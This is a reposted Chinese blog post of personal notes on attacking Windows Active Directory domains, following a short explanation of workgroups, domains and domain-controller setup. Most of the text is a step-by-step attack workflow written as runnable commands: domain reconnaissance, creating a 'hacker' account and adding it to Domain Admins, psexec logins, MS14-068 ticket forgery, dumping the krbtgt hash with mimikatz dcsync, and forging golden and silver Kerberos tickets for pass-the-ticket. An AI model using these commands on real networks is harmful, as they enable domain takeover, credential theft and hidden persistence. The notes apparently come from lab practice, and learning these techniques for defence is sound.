zoukankan      html  css  js  c++  java
  • 2019-12-23:域渗透,笔记

    网络工作模式
    1,工作组,win系统安装之后默认的工作方式,可以在计算机属性和systeminfo下查看,处于工作组的主机是相互独立的没有统一的管理员,适用于中小型企业

    2,域环境,将网络中多台计算机,逻辑上组织到一起,方便集中管理,区别工作组的逻辑环境。域是组织和存储资源的核心管理单元,在域环境中有统一的管理员,这个管理员叫做域控(AC),适用于中大型企业

    域控,加入了域环境并且安装了活动目录(AD)的计算机
    成员服务器,加入了域提供了某种服务的计算机
    独立服务器,工作方式是工作组,提供某些服务的计算机

    域控的安装配置条件
    1,操作者是管理员
    2,操作系统要求,windows 2003 企业版,专业版可以安装,web版不行,DNS和AD可以安装在不同的主机上,windows 2008 企业版,专业版,数据中心版可以安装,web版不行,DNS和AD必需安装在同一台机器上
    3,文件爱你管理系统要求,NTFS格式
    4,硬盘分区要足够大
    5,真实机器,32G起步,虚拟机1G
    6,必需配置静态ip

    安装步骤
    1,配置静态ip
    2,安装DNS
    3,安装活动目录,运行里运行dcpromo命令

    域渗透流程:
    域环境信息收集(网络信息、域用户、域管理员、域名称、本地用户列表等)
    域控的定位(找DC所在位置,ping nslookup powershell python 等等)
    域控的攻击(MS14068 传输票据(PTT) MSB中继 配置问题 提权等等)
    登录域控(pstools SMB ipc$ WMI MSF CS 等等)
    收集当前域环境下的信息(hash/网路拓扑/用户数据等)
    域渗透的前提条件:需要拿下处于某个域环境的一台PC(DC:后续流程就简单了 、非DC:做上述域渗透的所有流程!!!!)

    信息收集命令
    ipconfig /all
    net user
    net localgroup administrsators 本地管理员(域用户)
    net user /domain 域用户 krbtgt kerbreos认证中心用户、
    net group /domain 域环境中的组
    net group "domain admins" /domain 查询域管理组
    net group "domain computers" /domain 查询域中所有的计算机
    net group "domain controllers" /domain 查询域控
    net group "domain users" /domain 查询域中所有的用户
    net time /domain 判断主域,主域服务器中有时间服务器
    net config workstation 登录域
    net session 会话
    net use \ipC$ "pwd" /user:user 建立会话
    net share
    net view 查看域内PC列表
    net view \ip 某ip对应共享
    new view /domain 查看整个网络环境中域列表
    net view /domain:workgroup 查看指定域下计算列表
    net accounts /domain 域密码策略
    nbtstat -A
    route print
    arp -a
    针对域的命令:
    dsquery computer
    dsquery subnet
    group
    ou
    site
    server
    user
    *

    ###域控的定位
    net group "domain controllers" /domain 查询域控 mydemo
    ping -n 1 mydemo -4 根据名称找IP
    确认 ping mydc.com nslookup mydc.com DNS AD 同一台PC
    net group "domain admins" /domain 查询域管理组

    DOS命令中添加域账号:
    net user username password /add /domain
    net group 组名 用户名 /add /domain
    net user hacker 123.com, /add /domain
    net group "domain admins" hacker /add /domain
    net group "domain controllers" hacker /add /domain
    注意上述两行命令需要域管理员方可操作!!!!!!

    psexec.py test.com/administrator:nihao123!@192.168.6.2

    MS14-068攻击(当前目标服务器:域控 中没有安装KB3011780)
    step 1:dir \mydemo.mydc.comC$

    step 2:使用mimikatz和MS14-068 生成票据
    查看当前普通域用户所在PC的SID whoami /all S-1-5-21-1882168165-1614527120-2746584387-1110
    当前系统用户的sid:whoami /user
    查看所有用户的sid:wmic useraccount get name,sid
    MS14-068.exe MS14-068.py MS14-068.ps1
    产生票据的地方是在普通域用户所在PC 还是可以在攻击者电脑中(代理) 运行?
    产生票据的过程需要连接到域控PC!!!!连接不上则无法生成票据、
    ping mydc.com
    192.168.1.137 没有web DNS 搭理PC(肉鸡) 测试域控的连通性 没问题
    192.168.1.130 web 能访问

    step 3:python MS14-068.py 查看帮助信息
    -u 域账号@域名城 dcuser2@mydc.com
    -p 域账号密码 12345.com
    -s 域账号的SID号 S-1-5-21-1882168165-1614527120-2746584387-1110
    -d 域控所在的位置 mydemo.mydc.com
    TGT_dcuser2@mydc.com.ccache
    python ms14-068.py -u dcuser2@mydc.com -p 12345.com -s S-1-5-21-1882168165-1614527120-2746584387-1110 -d mydemo.mydc.com

    step 4: 使用mimikatz 清空当前计算机中kerberos票据
    kerberos::purge 清空票据
    然后倒入票据:
    mimikatz.exe "kerberos::ptc TGT_dcuser2@mydc.com.ccache"

    step5:dir \mydemo.mydc.comC$

    登录域
    python psexec.py 域名/账号:密码@域ip
    msf:use exploit/windows/smb/psexec
    shell中,net use \ipc$ "密码" /user:账户名
    net use \ipipc$ " " /user:" " 建立IPC空链接
    net use \ipipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

    黄金票据
    1,获得krbtgt账户的HASH,mimikatz "lsadump::dcsync /domain:test.com /user:krbtgt"
    2,生成环境票据 mimikatz.exe "kerberos::golden /admin:administrator /domain:test.com /sid:用户id /krbtgt:NTLM HASH /ticket:golden.kiribi"
    3,导入换进票据, mimikatz kerberos::purge清票据 导入票据mimikatz kerberos::ptt 票据名 dir \域名c$ 能列出目录,说明成功提权

    黄金票据:TGT
    条件:
    1、域名称
    2、域的SID值
    3、域的KRBTGT账号的HASH
    4、伪造任意用户名
    step 1:获取KRBTGT的HASH
    mimikatz.exe "lsadump::dcsync /domain:test.com /user:krbtgt" fe7e9d05fc51f8bb80f9b6fd024160c0

    step 2:生成黄金票据 golden.kiribi
    域SID号:S-1-5-21-1882168165-1614527120-2746584387-500
    mimikatz.exe "kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-1809810028-2972874382-1953511446 /krbtgt:3ea18bc5bfe3aff6605b39df60a886c3 /ticket:golden.kiribi"
    /admin:伪造的用户名
    /sid:SID值,注意是去掉最后一个-后面的值
    /krbtgt:krbtgt的HASH值
    /ticket:生成的票据名称
    step 3:黄金票据的使用
    通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
    kerberos::purge
    kerberos::ptt golden.kiribi
    kerberos::list
    step 4:查看dir \mydemo.mydc.comC$

    白银票据:
    1.域名称
    2.域的SID值
    3.域的服务账户的密码HASH(不是krbtgt,是域控)
    4.伪造的用户名,可以是任意用户名,这里是silver
    step 1:首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是mydemo$的HASH。
    sekurlsa::logonpasswords efa6570ee8fae2fc58888cda0c2cc135

    step 2: kerberos::golden /domain:mydc.com /sid:S-1-5-21-1882168165-1614527120-2746584387 /target:mydemo.mydc.com /service:cifs /rc4:efa6570ee8fae2fc58888cda0c2cc135 /user:silver /ptt
    /domain: 当前域名称
    /sid: SID值 取最后- 前面的部分
    /target: 目标主机 域控
    /service: 服务名称 要访问共享文件 CIFS
    /rc4: 目标主机HASH
    /user: 伪造用户
    /ptt pass the ticket 把生成的票据导入内存 如果想导出到文件 使用 /ticket:silver.sil kerberos::ptt ticket:silver.sil

    step 3:klist 查看本机的kerberos票据可以看到生成的票据
    step 4: dir \mydemo.mydc.comC$

  • 相关阅读:
    PHP+MySQL实现海量数据导入导出的总结:is_numbric函数的坑
    【PHP开发规范】继承与扩展:PSR-2 编码风格规范
    【PHP开发规范】老生常谈的编码开发规范你懂多少?
    【PHP面试题】通俗易懂的两个面试必问的排序算法讲解:冒泡排序和快速排序
    php数组函数array_column:不用循环就能提取多维数组内容
    php使用urlencode对中文编码而引出的问题:urlencode和rawurlencode的区别
    table-tree vs stock vs whiteboard
    PDF解析
    山灵up4
    Devops之CI/CD
  • 原文地址:https://www.cnblogs.com/sym945/p/12084041.html
Copyright © 2011-2022 走看看